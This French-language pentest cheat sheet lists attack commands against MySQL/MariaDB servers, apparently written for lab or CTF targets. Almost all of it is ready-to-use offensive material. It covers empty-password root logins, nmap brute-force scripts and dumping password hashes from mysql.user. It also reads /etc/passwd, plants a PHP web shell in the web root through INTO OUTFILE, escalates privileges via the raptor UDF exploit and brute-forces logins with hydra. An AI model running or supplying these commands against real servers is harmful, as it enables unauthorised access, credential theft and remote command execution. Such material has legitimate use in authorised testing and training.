3306 - Mysql

MySQL / MariaDB (3306)

mysql -h 10.10.10.10 -u root -p
mysql -h 10.10.10.10 -u root            # sans mot de passe
nmap -p3306 --script mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-brute 10.10.10.10

Énumération SQL

SHOW DATABASES; USE nom; SHOW TABLES; SELECT * FROM users;
SELECT user,authentication_string FROM mysql.user;   -- hashes
SELECT @@version, @@datadir, @@secure_file_priv, current_user();

Lecture / écriture de fichiers (si privileges)

SELECT LOAD_FILE('/etc/passwd');
SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/sh.php';
-- si secure_file_priv est vide -> lecture/ecriture possibles

Privesc via UDF (MySQL tournant en root) & brute

searchsploit mysql udf            # raptor_udf : exec de commandes en tant que root
hydra -L users.txt -P rockyou.txt mysql://10.10.10.10